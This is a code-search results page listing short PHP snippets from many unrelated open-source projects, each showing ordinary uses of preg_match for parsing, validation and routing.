100+ results results for 'php preg_match repo:c1sc0guy/osTicket-1.8' (302 ms)
1<?php 2/** 8// We use core, so we include it. 9require '../wp-load.php'; 10 11// Require the settings file for the secret key 12require './settings.php'; 13 36 if ( $this->input === false ) { 37 $this->input = @file_get_contents( 'php://input' ); 38 } 121 $order = array(); 122 $order['link'] = '<a target="_blank" href="' . get_admin_url( null, 'edit.php?post_type=download&page=edd-payment-history&view=edit-payment&purchase_id=' . $result->post_id ) . '">#' . $result->post_id . '</a>'; 123 139 foreach ( $notes as $note ) { 140 if ( preg_match( '/^PayPal Transaction ID: ([^\s]+)/', $note->comment_content, $match ) ) 141 $order['paypal_transaction_id'] = $match[1];datalib_test.php https://bitbucket.org/kudutest/moodlegit.git | PHP | 161 lines
1<?php 2// This file is part of Moodle - http://moodle.org/ 17/** 18 * This file contains tests for some of the code in ../datalib.php. 19 * 29global $CFG; 30require_once(dirname(__FILE__) . '/../lib.php'); 31 33/** 34 * Unit tests for some of the code in ../datalib.php. 35 * 42 $newparams = array(); 43 preg_match_all('/(?<!:):([a-z][a-z0-9_]*)/', $sql, $named_matches); 44 foreach($named_matches[1] as $param) {Curl.php https://gitlab.com/axeltizon/magento-demopoweraccess | PHP | 196 lines
1<?php 2/** 48 * 49 * @SuppressWarnings(PHPMD.NPathComplexity) 50 * @SuppressWarnings(PHPMD.CyclomaticComplexity) 188 { 189 preg_match($regularExpression, $response, $matches); 190 if (!isset($matches[1])) {QueryBuilder.php https://gitlab.com/I-NOZex/quiz | PHP | 184 lines
1<?php 2/** 174 $sql = str_replace(', [', ",\n[", $sql); 175 if (preg_match_all('/^\s*\[(.*?)\]\s+(.*?),?$/m', $sql, $matches)) { 176 foreach ($matches[1] as $i => $c) {FtpServer.php https://gitlab.com/ilyales/vigma | PHP | 304 lines
1<?php 2 38 if (!extension_loaded('ftp')) { 39 throw new \Exception('PHP extension FTP is not loaded.'); 40 } 44 } elseif ($url['scheme'] === 'ftps' && !function_exists('ftp_ssl_connect')) { 45 throw new \Exception('PHP extension OpenSSL is not built statically in PHP.'); 46 } 211 foreach ((array) $this->ftp('nlist', $dir) as $entry) { 212 if ($entry == NULL || $entry === $dir || preg_match('#(^|/)\\.+$#', $entry)) { // intentionally == 213 continue; 252 { 253 if (preg_match('#^(mkdir|rmdir|unlink|mv|chmod)\s+(\S+)(?:\s+(\S+))?$#', $command, $m)) { 254 if ($m[1] === 'mkdir') { 295 } 296 if (preg_match('#^\w+\(\):\s*(.+)#', $error, $m)) { 297 $error = $m[1];xpdoquery.class.php https://bitbucket.org/orchdork10159/dnsman.ly.git | PHP | 157 lines
1<?php 2/* 28/** Include the base {@see xPDOQuery} class */ 29include_once (dirname(dirname(__FILE__)) . '/xpdoquery.class.php'); 30 56 $ignorealias = is_int($alias); 57 $escape = !preg_match('/\bAS\b/i', $column) && !preg_match('/\./', $column) && !preg_match('/\(/', $column); 58 if ($escape) {AnalyzerClassFileSystemLocator.php https://github.com/Proudio-Interactive/pdepend.git | PHP | 196 lines
39 * @category QualityAssurance 40 * @package PHP_Depend 41 * @subpackage Metrics 43 * @copyright 2008-2011 Manuel Pichler. All rights reserved. 44 * @license http://www.opensource.org/licenses/bsd-license.php BSD License 45 * @version SVN: $Id$ 50/** 51 * Locator that searches for PHP_Depend analyzers that follow the PHP_Depend 52 * convention and are present the PHP_Depend source tree. 54 * @category QualityAssurance 55 * @package PHP_Depend 56 * @subpackage Metrics 58 * @copyright 2008-2011 Manuel Pichler. All rights reserved. 59 * @license http://www.opensource.org/licenses/bsd-license.php BSD License 60 * @version Release: @package_version@SearchController.php https://github.com/suzuki/candycane.git | PHP | 204 lines
1<?php 2/** 60 // Quick jump to an issue by matching #1234 style issue id 61 if (preg_match('/^#?(\d+)$/', $question, $match)) { 62 $conditions = $this->Project->get_visible_by_condition($this->current_user);api.php https://github.com/castlino/linonico.com.git | PHP | 216 lines
7 * 8 * PHP versions 4 and 5 9 * 9 * 10 * CakePHP(tm) : Rapid Development Framework (http://www.cakephp.org) 11 * Copyright 2005-2008, Cake Software Foundation, Inc. (http://www.cakefoundation.org) 17 * @copyright Copyright 2005-2008, Cake Software Foundation, Inc. (http://www.cakefoundation.org) 18 * @link http://www.cakefoundation.org/projects/info/cakephp CakePHP(tm) Project 19 * @package cake 87 if (in_array($type, array('behavior', 'component', 'helper')) && $type !== $file) { 88 if (!preg_match('/' . Inflector::camelize($type) . '$/', $class)) { 89 $class .= Inflector::camelize($type); 97 98 $parsed = $this->__parseClass($path . $file .'.php'); 99TemplateTask.php https://bitbucket.org/koronios/cakephp.git | PHP | 219 lines
1<?php 2/** 4 * 5 * PHP 5 6 * 6 * 7 * CakePHP(tm) : Rapid Development Framework (http://cakephp.org) 8 * Copyright (c) Cake Software Foundation, Inc. (http://cakefoundation.org) 14 * @copyright Copyright (c) Cake Software Foundation, Inc. (http://cakefoundation.org) 15 * @link http://cakephp.org CakePHP(tm) Project 16 * @since CakePHP(tm) v 1.3 16 * @since CakePHP(tm) v 1.3 17 * @license MIT License (http://www.opensource.org/licenses/mit-license.php) 18 */ 91 foreach ($subDirs as $dir) { 92 if (empty($dir) || preg_match('@^skel$|_skel$@', $dir)) { 93 continue;editer_page.php https://bitbucket.org/pombredanne/spip-zone-treemap.git | PHP | 164 lines
1<?php 2 83 $erreurs['composition'] = _T('noizetier:formulaire_identifiant_deja_pris'); 84 if (preg_match('#^[a-z0-9_]+$#',$composition)==0) 85 $erreurs['composition'] = _T('noizetier:formulaire_erreur_format_identifiant');agenda_filtres.php https://bitbucket.org/pombredanne/spip-zone-treemap.git | PHP | 211 lines
1<?php 2/** 87 $url_retour = end($args); 88 if (preg_match(';[a-z]{3,5}://;i',$url_retour)) 89 array_pop($args);TemplateTask.php https://bitbucket.org/vishallogiciel/admin-bootstrap.git | PHP | 219 lines
1<?php 2/** 4 * 5 * PHP 5 6 * 6 * 7 * CakePHP(tm) : Rapid Development Framework (http://cakephp.org) 8 * Copyright (c) Cake Software Foundation, Inc. (http://cakefoundation.org) 14 * @copyright Copyright (c) Cake Software Foundation, Inc. (http://cakefoundation.org) 15 * @link http://cakephp.org CakePHP(tm) Project 16 * @since CakePHP(tm) v 1.3 16 * @since CakePHP(tm) v 1.3 17 * @license http://www.opensource.org/licenses/mit-license.php MIT License 18 */ 91 foreach ($subDirs as $dir) { 92 if (empty($dir) || preg_match('@^skel$|_skel$@', $dir)) { 93 continue;qubaid_condition_test.php https://github.com/pauln/moodle.git | PHP | 161 lines
1<?php 2// This file is part of Moodle - http://moodle.org/ 17/** 18 * This file contains tests for some of the code in ../datalib.php. 19 * 29global $CFG; 30require_once(dirname(__FILE__) . '/../lib.php'); 31 42 $newparams = array(); 43 preg_match_all('/(?<!:):([a-z][a-z0-9_]*)/', $sql, $named_matches); 44 foreach($named_matches[1] as $param) {IPv6.php https://github.com/ushahidi/Sweeper.git | PHP | 258 lines
1<?php 2/** 4 * 5 * A PHP-Based RSS and Atom Feed Framework. 6 * Takes the hard work out of managing a complete RSS/Atom solution. 41 * @link http://simplepie.org/ SimplePie 42 * @license http://www.opensource.org/licenses/bsd-license.php BSD License 43 * @todo phpDoc comments 50 * @package SimplePie 51 * @copyright 2003-2005 The PHP Group 52 * @license http://www.opensource.org/licenses/bsd-license.php 52 * @license http://www.opensource.org/licenses/bsd-license.php 53 * @link http://pear.php.net/package/Net_IPv6 54 * @author Alexander Merz <alexander.merz@web.de> 235 { 236 if ($ipv4_part >= 0 && $ipv4_part <= 255 && preg_match('/^\d{1,3}$/', $ipv4_part)) 237 {Tokenizer.php https://bitbucket.org/AdriVanHoudt/school.git | PHP | 201 lines
1<?php 2 45 while (true) { 46 if (preg_match('#\s+#A', $s, $match, 0, $pos)) { 47 $precedingWhitespacePos = $pos; 60 61 if (preg_match('#[+-]?\d*n(?:[+-]\d+)?#A', $s, $match, 0, $pos) && 'n' !== $match[0]) { 62 $sym = substr($s, $pos, strlen($match[0])); 184 185 if (!preg_match('#[^\w\-]#', $s, $match, PREG_OFFSET_CAPTURE, $pos)) { 186 // Goes to end of sutils.php https://gitlab.com/suporte.spturis/carnaval2015.spturis.com.br | PHP | 237 lines
1<?php 2 23 24 if ( \count( $parts ) === 2 && \preg_match( '/^\d+$/', $parts[1] ) === 1 ) { 25 $parts[] = '0';EpiRoute.php https://github.com/williamswebworks/DraftApp.git | PHP | 224 lines
1<?php 2/** 134 { 135 if(preg_match($regex, $this->route, $arguments)) 136 { 172 $continue = !empty($url); 173 if($offDomain === false && preg_match('#^https?://#', $url)) 174 $continue = false;MonologServiceProviderTest.php https://gitlab.com/Szedrik/rest | PHP | 212 lines
1<?php 2 26 */ 27class MonologServiceProviderTest extends \PHPUnit_Framework_TestCase 28{ 70 'monolog.formatter' => new JsonFormatter(), 71 'monolog.logfile' => 'php://memory', 72 )); 188 foreach ($records as $record) { 189 if (preg_match($pattern, $record['message']) && $record['level'] == $level) { 190 $found = true; 206 }, 207 'monolog.logfile' => 'php://memory', 208 ));class.datasource.dynamic_xml.php https://github.com/nils-werner/symphony-2.git | PHP | 200 lines
1<?php 2 13 14 require_once(TOOLKIT . '/class.gateway.php'); 15 require_once(TOOLKIT . '/class.xsltprocess.php'); 15 require_once(TOOLKIT . '/class.xsltprocess.php'); 16 require_once(CORE . '/class.cacheable.php'); 17 84 // Handle any response that is not a 200, or the content type does not include XML, plain or text 85 if((int)$info['http_code'] != 200 || !preg_match('/(xml|plain|text)/i', $info['content_type'])){ 86 $writeToCache = false; 190 191 $result->setValue(PHP_EOL . str_repeat("\t", 2) . preg_replace('/([\r\n]+)/', "$1\t", $ret)); 192 $result->setAttribute('status', ($valid === true ? 'fresh' : 'stale'));formatter.php https://gitlab.com/tjaafar/SuiteCRM | PHP | 155 lines
1<?php 2if(!defined('sugarEntry') || !sugarEntry) die('Not A Valid Entry Point'); 74 return $this->_ss->fetch("modules/Connectors/connectors/formatters/{$dir}/tpls/default.tpl"); 75 } else if(preg_match('/_soap_/', $class)) { 76 return $this->_ss->fetch("include/connectors/formatters/ext/soap/tpls/default.tpl");page_cities.php https://gitlab.com/oytunistrator/jobberbase | PHP | 277 lines
1<?php 2 require_once APP_PATH . '_lib/class.CityDAO.php'; 247 else 248 if (preg_match('/([^a-z0-9\-_]+?)/i', $asciiName)) 249 $errors['asciiName'] = 'Ascii name must contain only alphanumerical characters, dashes and underscores';ParameterizedHeader.php https://gitlab.com/hoangduys4k5/laravelproject | PHP | 191 lines
1<?php 2 116 // If it's not already a valid parameter value... 117 if (!preg_match('/^'.self::TOKEN_REGEX.'$/D', $value)) { 118 // TODO: text, or something else?? 119 // ... and it's not ascii 120 if (!preg_match('/^[\x00-\x08\x0B\x0C\x0E-\x7F]*$/D', $value)) { 121 $encoded = true; 126 127 if (\in_array($name, ['name', 'filename'], true) && 'form-data' === $this->getValue() && 'content-disposition' === strtolower($this->getName()) && preg_match('//u', $value)) { 128 // WHATWG HTML living standard 4.10.21.8 2 specifies: 177 $forceHttpQuoting = 'form-data' === $this->getValue() && 'content-disposition' === strtolower($this->getName()); 178 if ($forceHttpQuoting || !preg_match('/^'.self::TOKEN_REGEX.'$/D', $value)) { 179 $value = '"'.$value.'"';Batch.php https://bitbucket.org/areeves42/openfisma.git | PHP | 248 lines
1<?php 2/** 25 */ 26// require_once 'Zend/Service/WindowsAzure/Exception.php'; 27 30 */ 31// require_once 'Zend/Service/WindowsAzure/Storage/BatchStorageAbstract.php'; 32 208 $errors = null; 209 preg_match_all('/<message (.*)>(.*)<\/message>/', $response->getBody(), $errors); 210auth.php https://bitbucket.org/minaco2/pukiwiki.git | PHP | 228 lines
50 51 // PHP crypt() 52 case '{x-php-crypt}' : 52 case '{x-php-crypt}' : 53 $hash = ($prefix ? ($canonical ? '{x-php-crypt}' : $scheme) : '') . 54 ($salt != '' ? crypt($phrase, $salt) : crypt($phrase)); 64 case '{x-php-sha1}' : 65 $hash = ($prefix ? ($canonical ? '{x-php-sha1}' : $scheme) : '') . 66 sha1($phrase); 196 // Basic-auth with $_SERVER['HTTP_AUTHORIZATION'] 197 list($_SERVER['PHP_AUTH_USER'], $_SERVER['PHP_AUTH_PW']) = 198 explode(':', base64_decode($matches[1])); 207 $auth_users[$_SERVER['PHP_AUTH_USER']] 208 ) !== $auth_users[$_SERVER['PHP_AUTH_USER']]) 209 {websocket.class.php https://github.com/aabhasgarg/ariel.git | PHP | 162 lines
1<?php 2 110 //Get the numbers 111 preg_match_all('/([\d]+)/', $key1, $key1_num); 112 preg_match_all('/([\d]+)/', $key2, $key2_num); 116 //Count spaces 117 preg_match_all('/([ ]+)/', $key1, $key1_spc); 118 preg_match_all('/([ ]+)/', $key2, $key2_spc); 131 $r=$h=$o=null; 132 if(preg_match("/GET (.*) HTTP/" ,$req,$match)){ $r=$match[1]; } 133 if(preg_match("/Host: (.*)\r\n/" ,$req,$match)){ $h=$match[1]; } 133 if(preg_match("/Host: (.*)\r\n/" ,$req,$match)){ $h=$match[1]; } 134 if(preg_match("/Origin: (.*)\r\n/" ,$req,$match)){ $o=$match[1]; } 135 if(preg_match("/Sec-WebSocket-Key1: (.*)\r\n/",$req,$match)){ $this->log("Sec Key1: ".$sk1=$match[1]); } 135 if(preg_match("/Sec-WebSocket-Key1: (.*)\r\n/",$req,$match)){ $this->log("Sec Key1: ".$sk1=$match[1]); } 136 if(preg_match("/Sec-WebSocket-Key2: (.*)\r\n/",$req,$match)){ $this->log("Sec Key2: ".$sk2=$match[1]); } 137 if($match=substr($req,-8)) { $this->log("Last 8 bytes: ".$l8b=$match); }main.php https://github.com/dgz/shimmie2.git | PHP | 155 lines
1<?php 2/** 49 $text = preg_replace("/\[quote=(.*?)\](.*?)\[\/quote\]/s", "<blockquote><em>\\1 said:</em><br><small>\\2</small></blockquote>", $text); 50 while(preg_match("/\[list\](.*?)\[\/list\]/s", $text)) 51 $text = preg_replace("/\[list\](.*?)\[\/list\]/s", "<ul>\\1</ul>", $text); 51 $text = preg_replace("/\[list\](.*?)\[\/list\]/s", "<ul>\\1</ul>", $text); 52 while(preg_match("/\[ul\](.*?)\[\/ul\]/s", $text)) 53 $text = preg_replace("/\[ul\](.*?)\[\/ul\]/s", "<ul>\\1</ul>", $text); 53 $text = preg_replace("/\[ul\](.*?)\[\/ul\]/s", "<ul>\\1</ul>", $text); 54 while(preg_match("/\[ol\](.*?)\[\/ol\]/s", $text)) 55 $text = preg_replace("/\[ol\](.*?)\[\/ol\]/s", "<ol>\\1</ol>", $text);benc.php https://github.com/cybernet/CyBerFuN-CoDeX.git | PHP | 261 lines
1<?php 2ini_set("memory_limit","32M"); 52Returns the object that results from bdecoding the given string. Note 53that those aren't real php objects, but merely "objects" as described 54above. The returned objects have two additional keys: "string" and 178function bdec($s) { 179 if (preg_match('/^(\d+):/', $s, $m)) { 180 $l = $m[1]; 187 } 188 if (preg_match('/^i(\d+)e/', $s, $m)) { 189 $v = $m[1];Proxy.php https://github.com/znarf/nvo.git | PHP | 255 lines
1<?php 2/** 21 22require_once 'Zend/Json.php'; 23require_once 'Zend/Http/Client.php'; 226 * Detects if a string is UTF-8 encoded. 227 * @see http://us2.php.net/mb_detect_encoding 228 * 233 { 234 $match = preg_match('%(?: 235 [\xC2-\xDF][\x80-\xBF] # non-overlong 2-byteXLSX.php https://gitlab.com/VTTE/sitios-vtte | PHP | 178 lines
1<?php 2 94 $character = chr($charValue); 95 if (preg_match("/{$this->escapableControlCharactersPattern}/", $character)) { 96 $charHexValue = dechex($charValue); 105 /** 106 * Converts PHP control characters from the given string to OpenXML escaped control characters 107 * 122 // if no control characters 123 if (!preg_match("/{$this->escapableControlCharactersPattern}/", $escapedString)) { 124 return $escapedString; 143 /** 144 * Converts OpenXML escaped control characters from the given string to PHP control characters 145 *TestLoader.php https://gitlab.com/merial/WETE_Ryhma3 | PHP | 231 lines
23 * $testLoader = new \Codeception\TestLoader('tests/unit'); 24 * $testLoader->loadTest('UserTest.php'); 25 * $testLoader->loadTest('PostTest.php'); 63 if (!file_exists($path) 64 && substr(strtolower($path), -strlen('.php')) !== '.php' 65 && file_exists($newPath = $path . '.php') 94 foreach (self::$formats as $format) { 95 if (preg_match("~$format.php$~", $path)) { 96 call_user_func([$this, "add$format"], $path); 116 $formatFinder = clone($finder); 117 $testFiles = $formatFinder->name("*$format.php"); 118 foreach ($testFiles as $test) { 203 204 protected function enhancePhpunitTest(\PHPUnit_Framework_TestCase $test) 205 {StringParser.php git://github.com/egeniq/adapto.git | PHP | 213 lines
1<?php 2/** 154 $matches = array(); 155 preg_match_all("/\[[^\]]*\]|[^[]+/", $this->m_string, $matches); 156 return $matches;ToolbarHelper.php https://bitbucket.org/gwhitcher/cakephp-custom-skeleton.git | PHP | 227 lines
1<?php 2/** 2/** 3 * CakePHP(tm) : Rapid Development Framework (http://cakephp.org) 4 * Copyright (c) Cake Software Foundation, Inc. (http://cakefoundation.org) 9 * @copyright Copyright (c) Cake Software Foundation, Inc. (http://cakefoundation.org) 10 * @link http://cakephp.org CakePHP(tm) Project 11 * @package DebugKit.View.Helper 12 * @since DebugKit 0.1 13 * @license http://www.opensource.org/licenses/mit-license.php MIT License 14 */ 202 $bindParam = $bindType = null; 203 if (preg_match('/.+ :.+/', $query['query'])) { 204 $bindType = true;class.DBInstance.php http://scalr.googlecode.com/svn/ | PHP | 229 lines
1<?php 2 119 { 120 preg_match("/^([0-9]+)\.([0-9]+)-([0-9]+)$/", $this->ScalarizrPackageVersion, $matches); 121 return array("major" => $matches[1], "minor" => $matches[2], "revision" => $matches[3]); 125 { 126 preg_match("/^([0-9]+)\.([0-9]+)\-([0-9]+)$/si", $v, $matches); 127 161 </access> 162 <callback-service-url>".CONFIG::$HTTP_PROTO."://".CONFIG::$EVENTHANDLER_URL."/cb_service.php</callback-service-url> 163 </scalr>declarer_bases.php https://bitbucket.org/re_al_/real.test.spip.git | PHP | 231 lines
1<?php 2 63 while ($f = readdir($d)) { 64 if ((preg_match('/^(.*)[.]php$/', $f, $s)) 65 and is_readable($f = $dir . $f) 122 $login_db = $pass_db = ''; 123 if (!preg_match(',^sqlite,i', $serveur_db)) { 124 if (!$login_db = _request('login_db')) { 147 define('_DECLARER_PASS_DB', $pass_db); 148 // si on est sur le meme serveur que connect.php 149 // indiquer quelle est la db utilisee pour l'exclure des choix possibles 191 $erreurs['nom_connect'] = _T('erreur_nom_connect_incorrect'); 192 } elseif (file_exists(_DIR_CONNECT . $nom_connect . '.php')) { 193 $erreurs['nom_connect'] = _T('erreur_connect_deja_existant'); 204 $adresse_db = _DECLARER_ADRESSE_DB; 205 if (preg_match(',(.*):(.*),', $adresse_db, $r)) { 206 list(, $adresse_db, $port) = $r;ComponentContainer.php git://github.com/jakubkulhan/shopaholic.git | PHP | 271 lines
1<?php 2 10 * 11 * For more information please see http://nettephp.com 12 * 13 * @copyright Copyright (c) 2004, 2009 David Grudl 14 * @license http://nettephp.com/license Nette license 15 * @link http://nettephp.com 17 * @package Nette 18 * @version $Id: ComponentContainer.php 234 2009-03-26 21:19:54Z david@grudl.com $ 19 */ 22 23require_once dirname(__FILE__) . '/Component.php'; 24 24 25require_once dirname(__FILE__) . '/IComponentContainer.php'; 26makepot-praized.php http://praized.googlecode.com/svn/trunk/ | PHP | 209 lines
8 * CLI use EG: 9 * php makepot-praized.php wp-plugin /path/to/wordpress/wp-content/plugins/praized-tools/ 10 * 102 $placeholders = array(); 103 if (preg_match('/\$wp_version\s*=\s*\'(.*?)\';/', file_get_contents($dir.'/wp-includes/version.php'), $matches)) { 104 $placeholders['version'] = $matches[1]; 111 $placeholders = array(); 112 if (preg_match('/\$wpmu_version\s*=\s*\'(.*?)\';/', file_get_contents($dir.'/wp-includes/version.php'), $matches)) { 113 $placeholders['version'] = $matches[1]; 121 $placeholders = array(); 122 if (preg_match('/case\s+\'version\'.*?return\s+\'(.*?)\';/s', file_get_contents($dir.'/bb-includes/functions.php'), $matches)) { 123 $placeholders['version'] = $matches[1]; 200 } else { 201 $usage = "Usage: php makepot.php PROJECT DIRECTORY [OUTPUT]\n\n"; 202 $usage .= "Generate POT file from the files in DIRECTORY [OUTPUT]\n";fckeditor_php4.php http://avecms.googlecode.com/svn/trunk/ | PHP | 267 lines
1<?php 2/* 21 * 22 * This is the integration file for PHP 4. 23 * 24 * It defines the FCKeditor class that can be used to create editor 25 * instances in PHP pages on server side. 26 */ 64 } 65 else if ( preg_match( "|AppleWebKit/(\d+)|i", $sAgent, $matches ) ) 66 { 125 * Main Constructor. 126 * Refer to the _samples/php directory for examples. 127 *DateTime.php https://hg01.codeplex.com/odataphpproducer | PHP | 234 lines
1<?php 2/** 4 * 5 * PHP version 5.3 6 * 8 * @package ODataProducer_Providers_Metadata_Type 9 * @author Anu T Chandy <odataphpproducer_alias@microsoft.com> 10 * @copyright 2011 Microsoft Corp. (http://www.microsoft.com) 10 * @copyright 2011 Microsoft Corp. (http://www.microsoft.com) 11 * @license New BSD license, (http://www.opensource.org/licenses/bsd-license.php) 12 * @version SVN: 1.0 12 * @version SVN: 1.0 13 * @link http://odataphpproducer.codeplex.com 14 * 21 * @package ODataProducer_Providers_Metadata_Type 22 * @author Anu T Chandy <odataphpproducer_alias@microsoft.com> 23 * @copyright 2011 Microsoft Corp. (http://www.microsoft.com)display.php https://gitlab.com/potion/librechan | PHP | 528 lines
1<?php 2 13 joaoptm78@gmail.com 14 http://www.php.net/manual/en/function.filesize.php#100097 15*/ 59 60 if ($config['boardlist_wrap_bracket'] && !preg_match('/\] $/', $body)) 61 $body = '[' . $body . ']'; 218 if ($lines > $max_lines) { 219 if (preg_match('/(((.*?)<br\/>){' . $max_lines . '})/', $body, $m)) 220 $body = $m[0]; 229 // Open tags 230 if (preg_match_all('/<([\w]+)[^>]*>/', $body, $open_tags)) { 231 233 for ($x=0;$x<count($open_tags[0]);$x++) { 234 if (!preg_match('/\/(\s+)?>$/', $open_tags[0][$x])) 235 $tags[] = $open_tags[1][$x];class-wp-embed.php https://gitlab.com/WPonEB/WPonEB | PHP | 479 lines
1<?php 2/** 89 jQuery(document).ready(function($){ 90 $.get("<?php echo admin_url( 'admin-ajax.php?action=oembed-cache&post=' . $post->ID, 'relative' ); ?>"); 91 }); 92</script> 93<?php 94 } 170 foreach ( $handlers as $id => $handler ) { 171 if ( preg_match( $handler['regex'], $url, $matches ) && is_callable( $handler['callback'] ) ) { 172 if ( false !== $return = call_user_func( $handler['callback'], $matches, $attr, $url, $rawattr ) ) 322 if ( $html ) { 323 /** This filter is documented in wp-includes/class-wp-embed.php */ 324 return apply_filters( 'embed_oembed_html', $html, $url, $attr, $post_ID ); 390 391 if ( preg_match( '#(^|\s|>)https?://#i', $content ) ) { 392 // Find URLs on their own line.Input.php https://gitlab.com/devdoblea/factutextil.local | PHP | 425 lines
1<?php 2 254 if (isset($properties['IMAGE-RESOLUTION'])) { 255 if (preg_match('/from-image/i', $properties['IMAGE-RESOLUTION']) && isset($info['set-dpi']) && $info['set-dpi'] > 0) { 256 $w *= $this->mpdf->img_dpi / $info['set-dpi']; 257 $h *= $this->mpdf->img_dpi / $info['set-dpi']; 258 } elseif (preg_match('/(\d+)dpi/i', $properties['IMAGE-RESOLUTION'], $m)) { 259 $dpi = $m[1];wfNotification.php https://bitbucket.org/youresolutions/sheffieldcareservices.yes1.co.uk.git | PHP | 160 lines
1<?php 2class wfNotification { 60 61 if (preg_match('/^release/i', $category) && !$notification_productUpdates) { $n->markAsRead(); } 62 if (preg_match('/^digest/i', $category) && !$notification_blogHighlights) { $n->markAsRead(); } 62 if (preg_match('/^digest/i', $category) && !$notification_blogHighlights) { $n->markAsRead(); } 63 if (preg_match('/^alert/i', $category) && !$notification_securityAlerts) { $n->markAsRead(); } 64 if (preg_match('/^promo/i', $category) && !$notification_promotions) { $n->markAsRead(); } 115 116 if (preg_match('/^release/i', $category) && !$notification_productUpdates) { return; } 117 if (preg_match('/^digest/i', $category) && !$notification_blogHighlights) { return; } 117 if (preg_match('/^digest/i', $category) && !$notification_blogHighlights) { return; } 118 if (preg_match('/^alert/i', $category) && !$notification_securityAlerts) { return; } 119 if (preg_match('/^promo/i', $category) && !$notification_promotions) { return; }api_file.php https://github.com/andreking2/api_generator.git | PHP | 521 lines
1<?php 2/** 6 * 7 * PHP 5.2+ 8 * 8 * 9 * CakePHP(tm) : Rapid Development Framework (http://cakephp.org) 10 * Copyright 2008-2010, Cake Software Foundation, Inc. (http://cakefoundation.org) 15 * @copyright Copyright 2008-2010, Cake Software Foundation, Inc. (http://cakefoundation.org) 16 * @link http://cakephp.org 17 * @package api_generator 19 * @since ApiGenerator 0.1 20 * @license MIT License (http://www.opensource.org/licenses/mit-license.php) 21 **/ 126 public function read($path) { 127 if (preg_match('|\.\.|', $path)) { 128 return array(array(), array());Array.php git://github.com/atk4/atk4.git | PHP | 212 lines
1<?php 2/** 181 $pattern = '/^' . str_replace('%', '.*', preg_quote($expected, '/')) . '$/i'; 182 return (bool) preg_match($pattern, $value); 183 default:class-oembed.php https://gitlab.com/Blueprint-Marketing/wordpress-unit-tests | PHP | 326 lines
1<?php 2/** 30 // The WP_Embed class disables discovery for non-unfiltered_html users, so only providers in this array will be used for them. 31 // Add to this list using the wp_oembed_add_provider() function (see its PHPDoc for details). 32 $this->providers = apply_filters( 'oembed_providers', array( 90 91 if ( preg_match( $matchmask, $url ) ) { 92 $provider = str_replace( '{format}', 'json', $providerurl ); // JSON is easier to deal with than XML 136 137 if ( $tagfound && preg_match_all( '/<link([^<>]+)>/i', $html, $links ) ) { 138 foreach ( $links[1] as $link ) {BackendActivateController.php https://github.com/koala-framework/koala-framework.git | PHP | 152 lines
1<?php 2class Kwf_Controller_Action_User_BackendActivateController extends Kwf_Controller_Action 10 $code = $this->_getParam('code'); 11 if (!preg_match('#^(.*)-(\w*)$#', $code, $m)) { 12 $this->getRequest()->setParam('errorMessage', trlKwf("Activation code is invalid. Maybe the URL wasn't copied completely?"));ShallowParser.php https://bitbucket.org/leiweiqiang/tra-ai-pm.git | PHP | 233 lines
1<?php 2 115 private function _initializeHeredoc($result) { 116 if (preg_match('/^([\'"]?)([a-z_][a-z0-9_]*)\\1/i', $result->buffer, $match)) { 117 $docId = $match[2]; 129 private function _scanWsp($result) { 130 if (preg_match('/^\s+/', $result->buffer, $match)) { 131 if (!empty($result->statements) && $result->stmt === '') { 145 if (($result->state == '"' || $result->state == "'") 146 && preg_match('/^[^' . $result->state . ']*?\\\\./s', $result->buffer, $match)) { 147 158 if (in_array($result->state, array('"', "'", '<<<', '//', '#', '/*'))) { 159 if (preg_match($result->terminator, $result->buffer, $match)) { 160 $result->stmt .= $match[1]; 173 private function _scanStateEntrant($result) { 174 if (preg_match($this->_initials, $result->buffer, $match)) { 175 $result->stmt .= $match[0];Typography.php https://bitbucket.org/mbaily/tremain.git | PHP | 410 lines
1<?php if ( ! defined('BASEPATH')) exit('No direct script access allowed'); 2/** 4 * 5 * An open source application development framework for PHP 5.2.4 or newer 6 * 86 { 87 if (preg_match_all("#(<!\-\-.*?\-\->)#s", $str, $matches)) 88 { 141 // Well also set the "process" flag which allows us to skip <pre> tags and a few other things. 142 if (preg_match("#<(/*)(".$this->block_elements.").*?>#", $chunk, $match)) 143 { 143 { 144 if (preg_match("#".$this->skip_elements."#", $match[2])) 145 { 174 // No opening block level tag? Add it if needed. 175 if ( ! preg_match("/^\s*<(?:".$this->block_elements.")/i", $str)) 176 {url_helper.php https://bitbucket.org/mbaily/tremain.git | PHP | 610 lines
145 { 146 $site_url = ( ! preg_match('!^\w+://! i', $uri)) ? site_url($uri) : $uri; 147 } 186 187 $site_url = ( ! preg_match('!^\w+://! i', $uri)) ? site_url($uri) : $uri; 188 342 var l=new Array(); 343 <?php 344 $i = 0; 344 $i = 0; 345 foreach ($x as $val){ ?>l[<?php echo $i++; ?>]='<?php echo $val; ?>';<?php } ?> 346 350 //]]> 351 </script><?php 352context.php git://github.com/m3talsmith/php-liquid.git | PHP | 326 lines
1<?php 2/** 2/** 3 * Liquid for PHP 4 * 7 * based on Liquid for Ruby (c) 2006 Tobias Luetke 8 * @license http://www.opensource.org/licenses/mit-license.php 9 * 187 188 if (preg_match('/^\'(.*)\'$/', $key, $matches)) { 189 return $matches[1]; 191 192 if (preg_match('/^"(.*)"$/', $key, $matches)) { 193 return $matches[1]; 195 196 if (preg_match('/^(\d+)$/', $key, $matches)) { 197 return $matches[1];Regex.php https://bitbucket.org/dannyelps/rea.git | PHP | 319 lines
1<?php 2 63 { 64 if (preg_match('/^(.{3,}?)([imsxuADU]*)$/', $expr, $m)) { 65 $start = substr($m[1], 0, 1); 68 if ( 69 ($start === $end && !preg_match('/[*?[:alnum:] \\\\]/', $start)) 70 || ('{' === $start && '}' === $end)Console.php https://github.com/jpratt/cal.git | PHP | 481 lines
1<?php 2/** 16 * @license http://framework.zend.com/license/new-bsd New BSD License 17 * @version $Id: Console.php 12233 2008-11-01 00:11:01Z dasprid $ 18 */ 22 */ 23#require_once 'Zend/ProgressBar/Adapter.php'; 24 152 if (!defined('STDOUT')) { 153 $this->_stdout = fopen('php://stdout', 'w'); 154 } 183 if ($width === null || !is_integer($width)) { 184 if (substr(PHP_OS, 0, 3) === 'WIN') { 185 // We have to default to 79 on windows, because the windows 194 // Try to determine the width through stty 195 if (preg_match('#\d+ (\d+)#', @shell_exec('stty size'), $match) === 1) { 196 $this->_width = (int) $match[1];upgradelib.php https://github.com/kpike/moodle.git | PHP | 304 lines
